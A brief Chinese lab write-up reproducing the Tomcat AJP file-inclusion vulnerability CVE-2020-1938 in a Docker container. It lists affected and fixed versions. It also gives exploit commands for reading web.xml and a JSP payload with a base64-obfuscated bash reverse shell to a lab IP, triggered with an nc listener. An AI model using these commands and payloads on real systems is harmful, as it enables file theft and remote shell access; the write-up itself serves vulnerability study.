CVE-2020-1938 Tomcat AJP漏洞复现
简介
由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
影响范围:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
安全版本:
Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
复现环境
配置:
Kali 2019.4
部署:
使用Docker搭建环境docker search tomcat-8
docker pull consol/tomcat-8.0
查看镜像:docker images
启动镜像:docker run -d -p 8080:8080 -p 8009:8009 consol/tomcat-8.0
复现过程
任意读取文件
启动docker 镜像后,使用github上的EXP:python poc.py -p 8009 -f WEB-INF/web.xml 192.168.246.138
反弹shell(需要有文件上传)
-
此处先在用在容器中写入脚本:
<%java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");%>
步骤:
进入容器docker exec -i -t 80ba93fcadb0 /bin/bash
(80ba93fcadb0为容器ID)
找到目录opt/tomcat/webapps/ROOT/WEB-INF
使用echo
写入上述脚本内容:echo '内容' > 1.txt
-
开启监听
nc -lvp 8888
: -
使用EXP运行:
python poc.py -p 8009 -f WEB-INF/1.txt 192.168.246.138
-
反弹成功了,测试一下
参考文章
https://guanjia.qq.com/news/n5/2564.html
https://www.jianshu.com/p/f3e4b5896edb